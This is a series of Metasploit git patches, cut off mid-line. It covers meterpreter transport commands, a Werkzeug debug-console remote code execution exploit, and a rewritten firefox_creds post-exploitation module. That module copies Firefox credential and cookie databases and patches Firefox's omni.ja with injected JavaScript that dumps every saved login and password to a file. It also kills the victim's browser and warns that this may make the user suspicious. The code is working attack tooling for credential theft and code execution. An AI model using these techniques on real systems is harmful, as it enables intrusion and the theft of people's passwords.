valid = true + transport_index = 0 @@transport_opts.parse(args) do |opt, idx, val| case opt when '-c' opts[:cert] = val - when '-u' - opts[:uri] = val + when '-i' + transport_index = val.to_i when '-ph' opts[:proxy_host] = val when '-pp' @@ -685,13 +696,21 @@ class Console::CommandDispatcher::Core return end + update_transport_map + case command when 'list' result = client.core.transport_list + + current_transport_url = result[:transports].first[:url] + + sorted_by_url = result[:transports].sort_by { |k| k[:url] } + # this will output the session timeout first print_timeouts(result) columns =[ + 'ID', 'Curr', 'URL', 'Comms T/O', @@ -709,16 +728,13 @@ class Console::CommandDispatcher::Core # next draw up a table of transport entries tbl = Rex::Ui::Text::Table.new( - 'SortIndex' => -1, # disable any sorting + 'SortIndex' => 0, # sort by ID 'Indent' => 4, 'Columns' => columns) - first = true - result[:transports].each do |t| - entry = [ first ? '*' : '', t[:url], t[:comm_timeout], - t[:retry_total], t[:retry_wait] ] - - first = false + sorted_by_url.each_with_index do |t, i| + entry = [ i+1, (current_transport_url == t[:url]) ? '*' : '', t[:url], + t[:comm_timeout], t[:retry_total], t[:retry_wait] ] if opts[:verbose] entry << t[:ua] @@ -767,14 +783,27 @@ class Console::CommandDispatcher::Core print_error("Failed to add transport, please check the parameters") end when 'remove' - if opts[:transport] && !opts[:transport].end_with?('_tcp') && opts[:uri].nil? - print_error("HTTP/S transport specified without session URI") + if transport_index.zero? or not @transport_map.has_key?(transport_index) + print_error("Missing or invalid transport index specified") + return + end + + url_to_remove = @transport_map[transport_index][:url] + + # crack the url and fill in the opts hash + if url_to_remove =~ /^(.*):\/\/(.*):(\d+)(\/.*)?/ + opts[:transport] = "reverse_#{$1}" + opts[:lhost] = $2 + opts[:lport] = $3 + opts[:uri] = $4[1..-2] if opts[:transport].include?("http") + else + print_error("Failed to parse URL") return end print_status("Removing transport ...") if client.core.transport_remove(opts) - print_good("Successfully removed #{opts[:transport]} transport.") + print_good("Successfully removed transport ##{transport_index}.") else print_error("Failed to remove transport, please check the parameters") end From eaa0d0a44ec8ef357d13faa3e6051759ce0c9906 Mon Sep 17 00:00:00 2001 From: rwhitcroft <rw81junk@gmail.com> Date: Sat, 11 Jul 2015 22:50:38 -0400 Subject: [PATCH 0169/2172] first msg was better --- lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index b551ed0fa9..9285eb2968 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -803,7 +803,7 @@ class Console::CommandDispatcher::Core print_status("Removing transport ...") if client.core.transport_remove(opts) - print_good("Successfully removed transport ##{transport_index}.") + print_good("Successfully removed #{opts[:transport]} transport.") else print_error("Failed to remove transport, please check the parameters") end From 0a581be9f9cd0394cf141e2d2b5be13242ae2197 Mon Sep 17 00:00:00 2001 From: rwhitcroft <rw81junk@gmail.com> Date: Mon, 13 Jul 2015 12:10:32 -0400 Subject: [PATCH 0170/2172] put -u back for removing transports --- .../ui/console/command_dispatcher/core.rb | 29 +++++++++++-------- 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 9285eb2968..f3236455e2 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -575,6 +575,7 @@ class Console::CommandDispatcher::Core '-l' => [ true, 'LHOST parameter (for reverse transports)' ], '-p' => [ true, 'LPORT parameter' ], '-i' => [ true, 'Specify transport by index (currently supported: remove)' ], + '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ], '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ], '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ], '-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ], @@ -652,6 +653,8 @@ class Console::CommandDispatcher::Core case opt when '-c' opts[:cert] = val + when '-u' + opts[:uri] = val when '-i' transport_index = val.to_i when '-ph' @@ -783,22 +786,24 @@ class Console::CommandDispatcher::Core print_error("Failed to add transport, please check the parameters") end when 'remove' - if transport_index.zero? or not @transport_map.has_key?(transport_index) - print_error("Missing or invalid transport index specified") + if opts[:transport] && !opts[:transport].end_with?('_tcp') && opts[:uri].nil? + print_error("HTTP/S transport specified without session URI") return end - url_to_remove = @transport_map[transport_index][:url] + if !transport_index.zero? && @transport_map.has_key?(transport_index) + url_to_remove = @transport_map[transport_index][:url] - # crack the url and fill in the opts hash - if url_to_remove =~ /^(.*):\/\/(.*):(\d+)(\/.*)?/ - opts[:transport] = "reverse_#{$1}" - opts[:lhost] = $2 - opts[:lport] = $3 - opts[:uri] = $4[1..-2] if opts[:transport].include?("http") - else - print_error("Failed to parse URL") - return + # crack the url and fill in the opts hash + if url_to_remove =~ /^(.*):\/\/(.*):(\d+)(\/.*)?/ + opts[:transport] = "reverse_#{$1}" + opts[:lhost] = $2 + opts[:lport] = $3 + opts[:uri] = $4[1..-2] if opts[:transport].include?("http") + else + print_error("Failed to parse URL") + return + end end print_status("Removing transport ...") From 57f62ffa76d6feeb7b23b0e4ef639f7e709d770c Mon Sep 17 00:00:00 2001 From: h00die <mike@shorebreaksecurity.com> Date: Mon, 13 Jul 2015 20:18:45 -0400 Subject: [PATCH 0171/2172] changed URI to TARGETURI as per comments --- modules/exploits/multi/http/werkzeug_debug_rce.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index 3ed9af96a4..0c5a6d662c 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -36,7 +36,7 @@ class Metasploit4 < Msf::Exploit::Remote ) register_options( [ - OptString.new('URI',[true,'URI to the console','/console']) + OptString.new('TARGETURI',[true,'URI to the console','/console']) ], self.class ) end @@ -44,7 +44,7 @@ class Metasploit4 < Msf::Exploit::Remote def check res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(datastore['URI']) + 'uri' => normalize_uri(datastore['TARGETURI']) }) #https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67 if res and res.body =~ /Werkzeug powered traceback interpreter/ @@ -57,14 +57,14 @@ class Metasploit4 < Msf::Exploit::Remote #first we need to get the SECRET code res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(datastore['URI']) + 'uri' => normalize_uri(datastore['TARGETURI']) }) if res and res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/ secret = res.body.match(/SECRET = "([a-zA-Z0-9]{20})";/).captures[0] vprint_status("Secret Code: #{secret}") res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(datastore['URI']), + 'uri' => normalize_uri(datastore['TARGETURI']), 'vars_get' => { '__debugger__' => 'yes', 'cmd' => payload.encoded, From 074ed20f1c04283c65aa66464b762490b2da160d Mon Sep 17 00:00:00 2001 From: g0tmi1k <have.you.g0tmi1k@gmail.com> Date: Tue, 14 Jul 2015 13:33:48 +0100 Subject: [PATCH 0172/2172] Fix Firefox_Creds ...isn't perfect. --- modules/post/multi/gather/firefox_creds.rb | 742 +++++++++++---------- 1 file changed, 398 insertions(+), 344 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 16554e894c..2bf1055640 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -6,31 +6,28 @@ # # Standard Library # - require 'tmpdir' # # Gems # - require 'zip' # # Project # - require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles def initialize(info={}) - super( update_info(info, + super(update_info(info, 'Name' => 'Multi Gather Firefox Signon Credential Collection', 'Description' => %q{ This module will collect credentials from the Firefox web browser if it is @@ -40,38 +37,43 @@ class Metasploit3 < Msf::Post Firefox stores passwords within the signons.sqlite database file. There is also a keys3.db file which contains the key for decrypting these passwords. In cases where a Master Password has not been set, the passwords can easily be decrypted using - third party tools or by setting the DECRYPT option to true. Using the latter often + 3rd party tools or by setting the DECRYPT option to true. Using the latter often needs root privileges. Also be warned that if your session dies in the middle of the file renaming process, this could leave Firefox in a non working state. If a Master Password was used the only option would be to bruteforce. + + Useful 3rd party tools: + + firefox_decrypt (https://github.com/Unode/firefox_decrypt) + + pswRecovery4Moz (https://github.com/philsmd/pswRecovery4Moz) }, 'License' => MSF_LICENSE, 'Author' => [ 'bannedit', - 'xard4s' # added decryption support + 'xard4s', # added decryption support + 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'Platform' => %w{ bsd linux osx unix win }, 'SessionTypes' => ['meterpreter', 'shell' ] )) - register_options( - [ - OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false]) - ] - ) + register_options([ + OptBool.new('DECRYPT', + [false, 'Decrypts passwords without third party tools', false]) + ], self.class) - register_advanced_options( - [ - OptBool.new('DISCLAIMER', [false, 'Acknowledge the warning', false]) - ] - ) - #TODO - # - Collect cookies. + register_advanced_options([ + OptBool.new('DISCLAIMER', + [false, 'Acknowledge the DECRYPT warning', false]), + OptBool.new('RECOVER', + [false, 'Attempt to recover from bad DECRYPT when possible', false]) + ], self.class) end + def run - print_status("Determining session platform and type...") + # Certain shells for certain platform + vprint_status("Determining session platform and type") case session.platform when /unix|linux|bsd/ @platform = :unix @@ -79,216 +81,304 @@ class Metasploit3 < Msf::Post @platform = :osx when /win/ if session.type != "meterpreter" - print_error "Only meterpreter sessions are supported on windows hosts" + print_error "Only meterpreter sessions are supported on Windows hosts" return end @platform = :windows else - print_error("Unsupported platform #{session.platform}") + print_error("Unsupported platform: #{session.platform}") return end if datastore['DECRYPT'] - if not datastore['DISCLAIMER'] - print_warning("Decrypting the keys causes the possible remote Firefox process to be,") - print_warning("killed. If the user is paying attention, this could make him/her suspicious.") - print_warning("In order to proceed, set the advanced DISCLAIMER option to true.") - return - end - - omnija = nil - org_file = 'omni.ja' - new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" - - # sets @paths - return unless get_ff_and_loot_path - - print_status("Downloading #{org_file} from #{@paths['ff']}") - omnija = read_file(@paths['ff']+org_file) - if omnija.nil? or omnija.empty? or omnija =~ /No such file/i - print_error("Could not download #{org_file}, archive may not exist") + if !datastore['DISCLAIMER'] + decrypt_disclaimer return end - # cross platform local tempdir, "/" should work on windows too - tmp = Dir::tmpdir + "/" + new_file - print_status("Writing #{org_file} to local file: #{tmp}") - file_local_write(tmp, omnija) + + omnija = nil # non meterpreter download + org_file = 'omni.ja' # key file + new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" + temp_file = "orgomni.ja" # backup of key file #Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" + + # Sets @paths + return unless decrypt_get_env + + # Check target for the necessary files + if session.type == "meterpreter" + if session.fs.file.exists?(@paths['ff'] + temp_file) and !session.fs.file.exists?(@paths['ff'] + org_file) + print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.") + return + elsif session.fs.file.exists?(@paths['ff'] + temp_file) + decrypt_file_stats(temp_file, org_file, @paths['ff']) + if !datastore['RECOVER'] + print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.") + print_line + return + else + return unless decrypt_recover_omni(temp_file, org_file, @paths['ff']) + end + elsif !session.fs.file.exists?(@paths['ff'] + org_file) + print_error("Could not download #{org_file}. File does not exist.") + return + end + end # session.type == "meterpreter" + + session.type == "meterpreter" ? (size = "(%s MB)" % "%0.2f" % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = "") + print_status("Downloading: #{@paths['ff'] + org_file} %s" % size) + tmp = Dir::tmpdir + "/" + new_file # Cross platform local tempdir, "/" should work on Windows too + + if session.type == "meterpreter" # If meterpreter is an option, lets use it! + session.fs.file.download_file(tmp, @paths['ff'] + org_file) + else # Fall back shells + omnija = read_file(@paths['ff'] + org_file) + if omnija.nil? or omnija.empty? or omnija =~ /No such file/i + print_error("Could not download: #{@paths['ff'] + org_file}") + print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter" + return + end + + print_status("Saving #{org_file} to: #{tmp}") + file_local_write(tmp, omnija) + end + res = nil - print_status("Extracting and modifying #{new_file}...") + print_status("Injecting into: #{tmp}") begin - # automatically commits the changes made to the zip archive when - # the block terminates + # Automatically commits the changes made to the zip archive when the block terminates Zip::File.open(tmp) do |zip_file| - res = modify_omnija(zip_file) + res = decrypt_modify_omnija(zip_file) end rescue Zip::Error => e - print_error("Error modifying #{new_file}") + print_error("Error modifying: #{tmp}") return end if res - print_status("Successfully modified #{new_file}") + vprint_good("Successfully modified: #{tmp}") else - print_error("Failed to patch method") - return - end - print_status("Uploading #{new_file} to #{@paths['ff']}") - print_warning("This takes some extra time") if @platform =~ /unix|osx/ - if not upload_file(@paths['ff']+new_file, tmp) - print_error("Could not upload #{new_file}") + print_error("Failed to inject") return end - return if not trigger_decrypt(org_file, new_file) - - download_creds - else - paths = [] - if @platform =~ /unix|osx/ - paths = enum_users_unix - else # windows - grab_user_profiles().each do |user| - next if user['AppData'] == nil - dir = check_firefox(user['AppData']) - if dir - paths << dir - end + print_status("Uploading #{tmp} to: #{@paths['ff']}") + print_warning("This may take some time...") if @platform =~ /unix|osx/ + if session.type == "meterpreter" + session.fs.file.upload_file(@paths['ff'] + new_file, tmp) + else + if !upload_file(@paths['ff'] + new_file, tmp) + print_error("Could not upload: #{tmp}") + return end end - if paths.nil? + return if !decrypt_trigger_decrypt(org_file, new_file, temp_file) + + decrypt_download_creds + else # Non DECRYPT + paths = [] + @platform =~ /unix|osx/ ? (paths = enum_users_unix) : (paths = enum_users_win) + + if paths.empty? print_error("No users found with a Firefox directory") return end download_loot(paths.flatten) - end - + print_line end + + def decrypt_disclaimer + print_line + print_warning("Decrypting the keys causes the remote Firefox process to be killed.") + print_warning("If the user is paying attention, this could make them suspicious.") + print_warning("In order to proceed, set the advanced option, DISCLAIMER, to TRUE.") + print_line + end + + + def decrypt_file_stats(temp_file, org_file, path) + print_line + print_error("Detected #{temp_file} already on the target. This could possible a possible backup of the original #{org_file} from a bad DECRYPT attack.") + print_status("Size: #{session.fs.file.stat(@paths['ff'] + org_file).size}B (#{org_file})") + print_status("Size: #{session.fs.file.stat(@paths['ff'] + temp_file).size}B (#{temp_file})") + print_status("#{org_file} : Created- #{session.fs.file.stat(@paths['ff'] + org_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + org_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + org_file).mtime}") + print_status("#{temp_file}: Created- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + temp_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime}") + print_line + end + + + def decrypt_recover_omni(temp_file, org_file, path) + #print_status("Deleting: #{@paths['ff'] + temp_file} (Possible backup)") + #file_rm(@paths['ff'] + temp_file) + print_status("Restoring: #{@paths['ff'] + temp_file} (Possible backup)") + file_rm(@paths['ff'] + org_file) + rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file) + + if session.type == "meterpreter" + print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exists?(@paths['ff'] + temp_file) + + if !session.fs.file.exists?(@paths['ff'] + org_file) + print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}") + return false + end + end # session.type == "meterpreter" + return true + end + + def enum_users_unix + paths = [] id = whoami if id.nil? or id.empty? - print_error("This session is not responding, perhaps the session is dead") - end - - if @platform == :osx - home = "/Users/" - else - home = "/home/" - end - - if got_root? - userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n") - userdirs << "/root\n" - else - print_status("We do not have root privileges") - print_status("Checking #{id} account for Firefox") - if @platform == :osx - firefox = session.shell_command("ls #{home}#{id}/Library/Application\\ Support/Firefox/Profiles/").gsub(/\s/, "\n") - else - firefox = session.shell_command("ls #{home}#{id}/.mozilla/firefox/").gsub(/\s/, "\n") - end - - firefox.each_line do |profile| - profile.chomp! - next if profile =~ /No such file/i - - if profile =~ /\.default/ - print_status("Found Firefox Profile for: #{id}") - if @platform == :osx - return [home + id + "/Library/Application\\ Support/Firefox/Profiles/" + profile + "/"] - else - return [home + id + "/.mozilla/" + "firefox/" + profile + "/"] - end - end - end + print_error("Session #{datastore['SESSION']} is not responding") return end - # we got root check all user dirs - paths = [] + @platform == :osx ? (home = "/Users/") : (home = "/home/") + + if got_root? + vprint_status("Detected ROOT privileges. Searching every account on the system.") + userdirs = session.shell_command("ls #{home} 2>/dev/null").gsub(/\s/, "\n") + userdirs << "/root\n" + else + vprint_status("Checking #{id}'s Firefox account") + userdirs = session.shell_command("ls #{home + id} 2>/dev/null").gsub(/\s/, "\n") + end + userdirs.each_line do |dir| dir.chomp! next if dir == "." || dir == ".." + next if dir =~ /No such file/i - dir = home + dir + "/.mozilla/firefox/" if dir !~ /root/ - if dir =~ /root/ - dir += "/.mozilla/firefox/" - end + dir =~ /^\/root$/ ? (basepath = "/#{id}") : (basepath = "#{home + dir}") - print_status("Checking for Firefox Profile in: #{dir}") + @platform == :osx ? (basepath = "#{basepath}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{basepath}/.mozilla/firefox/") - stat = session.shell_command("ls #{dir}") - if stat =~ /No such file/i - print_error("Mozilla not found in #{dir}") - next - end - stat.gsub!(/\s/, "\n") - stat.each_line do |profile| - profile.chomp! - if profile =~ /\.default/ - print_status("Found Firefox Profile in: #{dir+profile}") - paths << "#{dir+profile}" + print_status("Checking for Firefox profile in: #{basepath}") + checkpath = session.shell_command("ls #{basepath} 2>/dev/null").gsub(/\s/, "\n") + checkpath.each_line do |ffpath| + ffpath.chomp! + if ffpath =~ /\.default/ + vprint_good("Found profile: #{basepath + ffpath}") + paths << "#{basepath + ffpath}" end end end + return paths + end + + + def enum_users_win + paths = [] + id = whoami + if id.nil? or id.empty? + print_error("Session #{datastore['SESSION']} is not responding") + return + end + + vprint_status("Searching every possible account on the system") + grab_user_profiles().each do |user| + next if user['AppData'].nil? + dir = check_firefox_win(user['AppData']) + paths << dir if dir + end return paths end - def check_firefox(path) - paths = [] - path = path + "\\Mozilla\\" - print_status("Checking for Firefox directory in: #{path}") + + def check_firefox_win(path) + paths = [] + ffpath = [] + path = path + "\\Mozilla\\" + print_status("Checking for Firefox profile in: #{path}") stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil if !stat - print_error("Firefox not found") + print_error("Firefox was not found (Missing profiles.ini)") return end session.fs.dir.foreach(path) do |fdir| - if fdir =~ /Firefox/i and @platform == :windows - paths << path + fdir + "Profiles\\" - print_good("Found Firefox installed") - break - else - paths << path + fdir - print_status("Found Firefox installed") - break - end + #print_status("Found a Firefox directory: #{path + fdir}") + ffpath << path + fdir + break end - if paths.empty? - print_error("Firefox not found") + if ffpath.empty? + print_error("Firefox was not found") return end - print_status("Locating Firefox Profiles...") - print_line("") + #print_status("Locating Firefox profiles") path += "Firefox\\Profiles\\" - # we should only have profiles in the Profiles directory store them all + # We should only have profiles in the Profiles directory store them all begin session.fs.dir.foreach(path) do |pdirs| next if pdirs == "." or pdirs == ".." - print_good("Found Profile #{pdirs}") + vprint_good("Found profile: #{path + pdirs}") paths << path + pdirs end rescue - print_error("Profiles directory missing") + print_error("Profiles directory is missing") return end - if paths.empty? - return nil - else - return paths + paths.empty? ? (nil) : (paths) + end + + + def download_loot(paths) + loot = "" + print_line + + paths.each do |path| + print_status("Profile: #{path}") + + # win: C:\Users\administrator\AppData\Roaming\Mozilla\Firefox\Profiles\tsnwjx4g.default + # linux: /root/.mozilla/firefox/tsnwjx4g.default (iceweasel) + # osx: /Users/mbp/Library/Application Support/Firefox/Profiles/tsnwjx4g.default + profile = path.scan(/Profiles[\\|\/](.+)$/).flatten[0].to_s + profile = path.scan(/firefox[\\|\/](.+)$/).flatten[0].to_s if profile.empty? + + session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = session.shell_command("ls #{path} 2>/dev/null").split()) + + files.each do |file| + file.chomp! + if file =~ /^key\d\.db$/ or file =~ /^signons.sqlite$/i or file =~ /^cookies\.sqlite$/ or file =~ /^cert\d\.json$/ or file =~ /^logins\.json$/ + vprint_status("Downloading: #{file}") + if session.type == "meterpreter" + file = path + "\\" + file + fd = session.fs.file.new(file) + begin + until fd.eof? + data = fd.read + loot << data if !data.nil? + end + rescue EOFError + ensure + fd.close + end + else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx) + loot = session.shell_command("cat #{path + file}") + end + + ext = file.split('.')[2] + ext == "txt" ? (mime = "plain") : (mime = "binary") + file = file.split('\\').last + p = store_loot("ff.profile.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") + print_good("Downloaded #{file}: #{p.to_s}") + end + end + print_line end end - # checks for needed privileges and wheter Firefox is installed - def get_ff_and_loot_path + + # Checks for needed privileges and wheter Firefox is installed + def decrypt_get_env @paths = {} check_paths = [] loot_file = Rex::Text::rand_text_alpha(6) + ".txt" @@ -296,32 +386,33 @@ class Metasploit3 < Msf::Post case @platform when /win/ if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i - print_error("You need root privileges on this platform for DECRYPT option") - return false + print_warning("You may need SYSTEM privileges on this platform for the DECRYPT option to work") end + env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive') tmpdir = env_vars['TEMP'] + "\\" drive = env_vars['SystemDrive'] - # this way allows for more independent use of meterpreter - # payload (32 and 64 bit) and cleaner code + + # This way allows for more independent use of meterpreter payload (32 and 64 bit) and cleaner code check_paths << drive + '\\Program Files\\Mozilla Firefox\\' check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\' - when /unix/ - tmpdir = '/tmp/' if cmd_exec("whoami").chomp !~ /root/ print_error("You need root privileges on this platform for DECRYPT option") return false end - # unix matches linux|unix|bsd but bsd is not supported + # Unix matches linux|unix|bsd but BSD is not supported if session.platform =~ /bsd/ - print_error("Sorry, bsd is not supported by the DECRYPT option") + print_error("Sorry, BSD is not supported by the DECRYPT option") return false end + tmpdir = '/tmp/' + check_paths << '/usr/lib/firefox/' check_paths << '/usr/lib64/firefox/' - + check_paths << '/usr/lib/iceweasel/' + check_paths << '/usr/lib64/iceweasel/' when /osx/ tmpdir = '/tmp/' check_paths << '/applications/firefox.app/contents/macos/' @@ -329,31 +420,36 @@ class Metasploit3 < Msf::Post @paths['ff'] = check_paths.find do |p| check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '') - print_status("Checking for Firefox directory in: #{check}") + vprint_status("Checking for Firefox directory in: #{check}") if directory?(p.sub(/(\\|\/)$/, '')) - print_good("Found Firefox directory") + print_good("Found Firefox directory: #{check}") true else - print_error("No Firefox directory found") + #vprint_error("No Firefox directory found") false end end - return false if @paths['ff'].nil? + if @paths['ff'].nil? + print_error("No Firefox directory found") + return false + end @paths['loot'] = tmpdir + loot_file return true - end - def modify_omnija(zip) + + def decrypt_modify_omnija(zip) + # Which files to extract from ja/zip files = [ - 'components/storage-mozStorage.js', - 'chrome/toolkit/content/passwordmgr/passwordManager.xul', - 'chrome/toolkit/content/global/commonDialog.xul', - 'jsloader/resource/gre/components/storage-mozStorage.js' + 'components/storage-mozStorage.js', # stor_js + 'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul + 'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul + 'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used) ] + # Extract files arya = files.map do |file| fdata = {} fdata['content'] = zip.read(file) unless file =~ /jsloader/ @@ -361,243 +457,208 @@ class Metasploit3 < Msf::Post fdata end + # Read contents stor_js, pwd_xul, dlog_xul, res_js = arya stor_js['outs_res'] = res_js['outs'] + # Payload (close after starting up - allowing evil js to run and nothing else) wnd_close = "window.close();" onload = "Startup(); SignonsStartup(); #{wnd_close}" - # get rid of (possible) master password prompt and close pwd - # manager immediately - dlog_xul['content'].sub!(/commonDialogOnLoad\(\)/, wnd_close) + # Patch commonDialog.xul - Get rid of (possible) master password prompt + dlog_xul['content'].sub!(/commonDialogOnLoad\(\);/, wnd_close) dlog_xul['outs'].write(dlog_xul['content']) dlog_xul['outs'].close + vprint_good("[1/2] XUL injected - commonDialog.xul") + # Patch passwordManager.xul - Close password manager immediately pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload) pwd_xul['outs'].write(pwd_xul['content']) pwd_xul['outs'].close + vprint_good("[2/2] XUL injected - passwordManager.xul") - # returns true or false - return patch_method(stor_js) - + # Patch ./components/storage-mozStorage.js - returns true or false + return decrypt_patch_method(stor_js) end - # Patches getAllLogins() method from storage-mozStorage.js - def patch_method(stor_js) + + # Patches getAllLogins() methods in ./components/storage-mozStorage.js + def decrypt_patch_method(stor_js) data = "" - # imports needed for IO - imports = %Q| - Components.utils.import("resource://gre/modules/NetUtil.jsm"); - Components.utils.import("resource://gre/modules/FileUtils.jsm"); - Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); - | + # Imports needed for IO + imports = %Q|Components.utils.import("resource://gre/modules/NetUtil.jsm"); +Components.utils.import("resource://gre/modules/FileUtils.jsm"); +Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); +| - # Javascript code to intercept the logins array and write the - # credentials to a file + # Javascript code to intercept the logins array and write the credentials to a file method_epilog = %Q| - var data = ""; - var path = "#{@paths['loot'].inspect.gsub(/"/, '')}"; - var file = new FileUtils.File(path); + var data = ""; + var path = "#{@paths['loot'].inspect.gsub(/"/, '')}"; + var file = new FileUtils.File(path); - var outstream = FileUtils.openSafeFileOutputStream(file); - var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"]. - createInstance(Components.interfaces.nsIScriptableUnicodeConverter); - converter.charset = "UTF-8"; + var outstream = FileUtils.openSafeFileOutputStream(file); + var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"]. + createInstance(Components.interfaces.nsIScriptableUnicodeConverter); + converter.charset = "UTF-8"; - if (logins.length != 0) { - for (var i = 0; i < logins.length; i++) { + if (logins.length != 0) { + for (var i = 0; i < logins.length; i++) { + data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^"; + } + } else { + data = "no creds"; + } - data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^"; + var istream = converter.convertToInputStream(data); + NetUtil.asyncCopy(istream, outstream); - } - - } else { - data = "no creds"; - } - - var istream = converter.convertToInputStream(data); - NetUtil.asyncCopy(istream, outstream); - - return logins; - | + return logins; +| regex = [ - nil, - [/return\slogins;/, method_epilog], - [/getAllLogins\s:\sfunction\s\(count\)\s{/, nil], - [/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports] + nil, # dirty hack alert + [/return\slogins;/, method_epilog], + [/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports] ] - # match three regular expressions - i = 3 + # Match the last two regular expressions + i = 2 # ...this is todo with the nil in the above regex array & regex command below + x = i stor_js['content'].each_line do |line| - # there is no real substitution if the matching regex - # has no corresponding patch code - if i != 0 and line.sub!(regex[i][0]) do |match| - if not regex[i][1].nil? - regex[i][1] - else - line - end - end - i -= 1 - end - + # There is no real substitution if the matching regex has no corresponding patch code + if i != 0 and line.sub!(regex[i][0]) do |match| + if not regex[i][1].nil? + vprint_good("[#{x-i+1}/#{x}] Javascript injected - ./components/storage-mozStorage.js") + regex[i][1] + end + end # do |match| + i -= 1 + end # if i != 0 data << line - end - # write the same data to both output streams + # Write the same data to both output streams stor_js['outs'].write(data) stor_js['outs_res'].write(data) stor_js['outs'].close stor_js['outs_res'].close - i == 0 ? 'return true' : 'return false' - + i == 0 ? (true) : (false) end - # Starts a new firefox process and triggers decryption - def trigger_decrypt(org_file, new_file) - temp_file = "orgomni.ja" + + # Starts a new Firefox process and triggers decryption + def decrypt_trigger_decrypt(org_file, new_file, temp_file) + [org_file, new_file, temp_file].each do |f| f.insert(0, @paths['ff']) end - # firefox command line arguments + + # Firefox command line arguments args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul' - # In case of unix-like platform Firefox needs to start under user - # context + # In case of unix-like platform Firefox needs to start under user context if @platform =~ /unix/ - - # assuming userdir /home/(x) = user - print_status("Enumerating users...") - users = cmd_exec("ls /home") + # Assuming userdir /home/(x) = user + print_status("Enumerating users") + users = cmd_exec("ls /home 2>/dev/null") if users.nil? or users.empty? print_error("No normal user found") return false end user = users.split()[0] - # Since we can't access the display environment variable - # we have to assume the default value + # Since we can't access the display environment variable we have to assume the default value args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ") args << "\"" cmd = "su #{user} -c" - elsif @platform =~ /win|osx/ - cmd = @paths['ff'] + "firefox" - # on osx, run in background + # On OSX, run in background args << "& sleep 5 && killall firefox" if @platform =~ /osx/ end - # check if firefox is running and kill it + # Check if Firefox is running and kill it if session.type == "meterpreter" session.sys.process.each_process do |p| if p['name'] =~ /firefox\.exe/ print_status("Found running Firefox process, attempting to 